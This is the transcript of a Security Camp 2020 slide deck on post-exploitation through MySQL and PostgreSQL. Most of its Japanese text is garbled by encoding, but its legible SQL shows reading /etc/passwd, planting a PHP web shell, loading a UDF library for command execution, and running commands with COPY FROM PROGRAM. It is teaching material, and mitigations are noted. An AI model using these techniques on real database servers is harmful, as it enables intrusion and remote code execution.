Share
Embed
Learn the essential way of thinking about vulnerabilities through post-exploitation on middlewares (MySQL/PostgreSQL編)/seccamp2020-b8
セキュリティ・キャンプ全国大会2020オンライン Bトラックにて。
https://www.ipa.go.jp/jinzai/camp/2020/zenkoku2020_program_list.html#list_b8
本編: https://speakerdeck.com/knqyf263/seccamp2020-b8
@tkmru
November 23, 2020
Transcript
41 slides
-
ηΩϡϦςΟɾΩϟϯϓશࠃେձ2020ΦϯϥΠϯ Learn the essential way of thinking about vulnerabilities through
post-exploitation on middlewares (MySQL/PostgreSQLฤ) Taichi Kotake (@tkmru) Teppei Fukuda (@knqyf263) -
ࣗݾհ w ໊લɿ5BJDIJ,PUBLF !ULNSV w ॴଐɿגࣜձࣾΞΧπΩ ɹɹɹηΩϡϦςΟΤϯδχΞ w ॴࡏɿ౦ژ
w ஶॻ w 8&# %#13&447PM ಛूπʔϧͰ؆୯ʂ͡Ίͯͷ੬ऑੑௐࠪʢٕज़ධࣾʣ w ϦόʔεΤϯδχΞϦϯάπʔϧ(IJESB࣮ફΨΠυʢϚΠφϏग़൛ʣ -
%#αʔό͔ΒͰ͖Δ͜ͱ w ςʔϒϧͷఆٛσʔλ͕ಡΈऔΓՄೳ w αʔόͷϑΝΠϧΛಡΈऔΓՄೳ w αʔόϑΝΠϧΛΞοϓϩʔυՄೳ w 3$&ʢ3FNPUF$PEF&YFDVUJPOʣ w
ϦϞʔτ͔Βαʔό্ͰҙͷίʔυΛ࣮ߦ͢Δ͜ͱ QPTUFYQMPJUBUJPOPOUIF%#TFSWFS -
αʔόͷϑΝΠϧΛಡΈऔΓՄೳ w %#ͷػೳΛ͏͜ͱͰɺαʔόͷϑΝΠϧΛಡΈऔΓՄೳ w %#αʔόʹϩάΠϯͯ͠ɺϓϩϯϓτ্Ͱ42-จίϚϯυΛ࣮ߦ͢Δͱ ಡΈऔΓͰ͖Δʢ.Z42- 1PTUHSF42-ʣ w 3FEJTͰͰ͖ͳ͍ɻɻɻ w
%#Λಈ͔͍ͯ͠ΔϢʔβ͕ಡΈऔΓՄೳͳύʔϛογϣϯ͕͍͍ͭͯΔ ϑΝΠϧͷΈ QPTUFYQMPJUBUJPOPOUIF%#TFSWFS -
ಡΈ͍͚ͨͲͳ͔ͳ͔ಡΊͳ͍ϑΝΠϧ w FUDTIBEPX w ϩάΠϯύεϫʔυͷϋογϡ͕ॻ͔Ε͍ͯΔ w ಡΈऔΓʹཧऀݖݶ͕ඞཁ w dTTIൿີ伴໊ w
44)ͷൿີ伴 w ༻࣌ʹDINPEΛઃఆ͞Ε͍ͯΔ w 44)Λ͍ͬͯΔϢʔβݖݶPSཧऀݖݶͰͳ͍ͱಡΊͳ͍ QPTUFYQMPJUBUJPOPOUIF%#TFSWFS -
DSPOUBCϚϧΣΞͷӬଓԽʹΘΕΔ w ϚϧΣΞͷӬଓԽ w ۦআ͞Εͳ͍Α͏ʹɺࣗಈ࣮ߦμϯϩʔυΛ܁Γฦ͠ߦ͏ w &-'ϚϧΣΞͰDSPOδϣϒ͕Α͘ΘΕΔ w ϚϧΣΞΛμϯϩʔυ࣮ߦ͢ΔδϣϒΛઃఆ͓ͯ͘͠ w
ϚϧΣΞͷόΠφϦΛফڈ͢Δ͚ͩͰԿͰ෮׆͢Δ QPTUFYQMPJUBUJPOPOUIF%#TFSWFS -
8FCTIFMMͷྫ w 1)1Ͱͷྫ QIQTZTUFN @(&5<DNE> w (&5ύϥϝʔλʹࢦఆ͞ΕͨίϚϯυΛTZTUFNؔͰ࣮ߦ w
ϒϥβ্ͰίϚϯυΛ࣮ߦՄೳʂʂʂ QPTUFYQMPJUBUJPOPOUIF%#TFSWFS -
%#ͷػೳΛͬͯ3$&ʹ࣋ͪࠐΉํ๏ w .Z42- w 6%'&YQMPJUBUJPO w 1PTUHSFT%# w $01:50'30.130(3". w
3FEJT w 3&1-*$"0' QPTUFYQMPJUBUJPOPOUIF%#TFSWFS ͜Ε͔Β%#ຖʹςΫχοΫΛ ղઆ͠·͢ʂʂʂ -
αʔόͷϑΝΠϧͷಡΈऔΓ .Z42- w -0"%@'*-&ؔʹΑͬͯαʔόʹΞοϓϩʔυͨ͠ϑΝΠϧͷ༰Λ จࣈྻͱͯ͠औಘՄೳ w ݁Ռ͕ΞεΩʔίʔυͰฦ͞ΕΔ߹$0/7&35ؔͰจࣈίʔυΛม mysql> select load_file('/etc/passwd');
mysql> select convert(load_file('/etc/passwd') using utf8); -
αʔόϑΝΠϧΛΞοϓϩʔυ .Z42- w 4&-&$5*/50065'*-&ߏจʹΑͬͯॻ͖ࠐΈՄೳ mysql> select '<?php system($_GET["cmd"]);?>' -> into
outfile '/var/www/html/shell.php'; mysql> select from_base64('c2VjY2FtcCB0cmFjayBiCg==') -> into dumpfile "hoge.so"; w େ͖͍ϑΝΠϧΛΞοϓϩʔυ͍ͨ͠ͱ͖#BTFʹҰม͢Δ -
TFDVSF@GJMF@QSJWʹΑΔ੍ݶ w Ҏ߱ͰσϑΥϧτͰTFDVSF@pMF@QSJWʹదͳύε͕ઃఆ͞Ε͍ͯΔ ͨΊɺ࠷ۙͰҙͷϑΝΠϧΛಡΈࠐΈॻ͖ࠐΈͰ͖Δϗετগͳ͍ .Z42- mysql> show variables like "secure_file_priv";
+------------------+-----------------------+ | Variable_name | Value | +------------------+-----------------------+ | secure_file_priv | /var/lib/mysql-files/ | +------------------+-----------------------+ 1 row in set (0.00 sec) -
TFDVSF@GJMF@QSJWͷσϑΥϧτ w .Z42-ެࣜ%PDLFSΠϝʔδͷσϑΥϧτ/6-- w EPDLFSSVO࣌ʹTFDVSFpMFQSJWͰઃఆՄೳ w /6--ͰɺͲͷσΟϨΫτϦʹಡΈॻ͖Ͱ͖ͳ͍ w खಈͰΠϯετʔϧͨ͠߹ɺσϑΥϧτWBSMJCNZTRMpMFT w
ςʔϒϧͷ༰Λ$47ɺ595ʹग़ྗ͢ΔࡍͳͲʹΘΕΔσΟϨΫτϦ w ߈ܸऀઢͩͱಡΈॻ͖Ͱָ͖ͯ͘͠ͳ͍ɻɻɻ .Z42- -
.Z42-6%'&YQMPJUBUJPO 8IBUT6%' w 6%' 6TFS%FpOFE'VODUJPO Ϣʔβ͕ࣗ༝ʹ.Z42-ʹؔΛՃ͢Δͨ Ίͷػೳ w QMVHJOEJSʹࢦఆ͞Ε͍ͯΔσΟϨΫτϦʹஔͨ͠ڞ༗ϥΠϒϥϦͷؔ Λɺ.Z42-ͷؔͱͯ͠༻Ͱ͖Δ
mysql> select @@plugin_dir; +------------------------+ | @@plugin_dir | +------------------------+ | /usr/lib/mysql/plugin/ | +------------------------+ 1 row in set (0.00 sec) -
.Z42-6%'&YQMPJUBUJPO 6%'Λొ mysql> select from_base64('f0VMRgIBAQAA<লུ>AAAA') into dumpfile "/usr/lib/mysql/ plugin/lib_mysqludf_sys_64.so"; Query
OK, 1 row affected (0.01 sec) mysql> create function sys_eval returns string soname 'lib_mysqludf_sys_64.so'; Query OK, 0 rows affected (0.00 sec) -----------------------+ | @@plugin_dir | +------------------------+ | /usr/lib/mysql/plugin/ | +------------------------+ 1 row in set (0.00 sec) w MJC@NZTRMVEG@TZT@TPΛ#BTFʹมͯ͠Ξοϓϩʔυ w $3&"5&'6/$5*0/ߏจͰϥΠϒϥϦͷؔΛొ -
.Z42-6%'&YQMPJUBUJPO 6%'Λ࣮ߦ w ొͨؔ͠ʢTZT@FWBMʣΛ࣮ߦͰ͖Δʂ w JEίϚϯυΛ࣮ߦ͢Δྫ mysql> select convert(sys_eval('id') using
utf8); +-------------------------------------------------+ | convert(sys_eval('id') using utf8) | +-------------------------------------------------+ | uid=999(mysql) gid=999(mysql) groups=999(mysql) | +-------------------------------------------------+ 1 row in set (0.01 sec) -
.Z42-6%'&YQMPJUBUJPOͷ w TFDVSFpMFQSJWͷ͍ͤͰݱͰ͞Βͳ͍ɻɻɻ w QMVHJOEJSʹڞ༗ϥΠϒϥϦΛΞοϓϩʔυͰ͖ͳ͍ mysql> select from_base64('f0VMRgIBAQAA<লུ>AAAA') ->
into dumpfile "/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so"; ERROR 1290 (HY000): The MySQL server is running with the --secure- file-priv option so it cannot execute this statement -
αʔόͷϑΝΠϧͷಡΈऔΓ 1PTUHSFT42- w $01:'30.ίϚϯυϑΝΠϧ͔ΒςʔϒϧͱσʔλΛ͢ postgres=# create table test(t text); postgres=#
copy test from '/etc/passwd'; postgres=# select * from test; -
αʔόϑΝΠϧΛΞοϓϩʔυ 1PTUHSFT42- w $01:50ίϚϯυςʔϒϧ͔ΒϑΝΠϧͱσʔλΛ͢ w #BTFʹม͢Δ͜ͱͰେ͖͍ϑΝΠϧΛΞοϓϩʔυՄೳ postgres=# copy (select convert_from(
postgres(# decode('c2VjY2FtcCB0cmFjayBiCg==','base64'),'utf-8')) postgres-# to '/tmp/hoge.so' postgres=# copy (select '<?php system($_GET["cmd"]);?>') postgres-# to '/var/www/html/shell.php'; -
1PTUHSFT%#$01:50'30.130(3". 8IBUT$01:50'30.130(3". w $01:50'30.ίϚϯυʹ130(3".Λࢦఆ͢Δ͜ͱͰ ίϚϯυΛ࣮ߦͰ͖Δ w $01:50ίϚϯυ 130(3". ςʔϒϧ͔Βࢦఆ͞ΕͨίϚϯυͱσʔλΛ͢ w
$01:'30.ίϚϯυ 130(3". ࢦఆ͞ΕͨίϚϯυͷ࣮ߦ݁ՌΛςʔϒϧͱ͢ -
w 1PTUHSF42-ͷެࣜ%PDLFSΠϝʔδΛىಈ͠ɺQTRMͰϩάΠϯ͠·͢ $ docker run --name postgres-camp -e POSTGRES_PASSWORD=<ύεϫʔυΛࢦఆ> -p
127.0.0.1:5432:5432 -d postgres:13.1 $ psql -U postgres -h localhost Password for user postgres: psql (13.0, server 13.1 (Debian 13.1-1.pgdg100+1)) Type "help" for help. postgres=# ࣮ࡍʹͬͯΈΔ (1/2) ڥ४උ -
w JEίϚϯυΛ࣮ߦ͢Δྫ ࣮ࡍʹͬͯΈΔ (2/2) 3$& postgres=# create table cmd_exec(cmd_output text);
CREATE TABLE postgres=# copy cmd_exec from program 'id'; COPY 1 postgres=# select * from cmd_exec; cmd_output ------------------------------------------------------------------------ uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert) (1 row) -
1PTUHSFT%#$01:50'30.130(3". OPU$7&ʁ w ͜ͷػೳʹΑΔ04ίϚϯυΠϯδΣΫγϣϯɺ$7&ͱͯ͠$7&ʹ࠾ ൪͞Ε͔͚ͨ w ͔͠͠ɺ1PTUHSF42-ͷηΩϡϦςΟνʔϜ੬ऑੑͱೝΊ͓ͯΒͣɺ୯ͳΔػೳͩ ͱओு͓ͯ͠Γɺ࠷৽൛ͷ1PTUHSF42-Ͱ༗ޮ w 1PTUHSF42-αʔόSPPUϢʔβ͔Βಈ͔ͤͳ͍Α͏ʹͳ͍ͬͯΔ
w $01:50'30.130(3".1PTUHSF42-Λಈ͔͢ϢʔβͱಉҰݖݶͰ͔͠ಈ ࡞͠ͳ͍ w ͦͦऑ͍ೝূΛઃఆ͠ͳ͍͜ͱͰ͛Δɻ͜ͷػೳ͕ѱ͍Θ͚Ͱͳ͍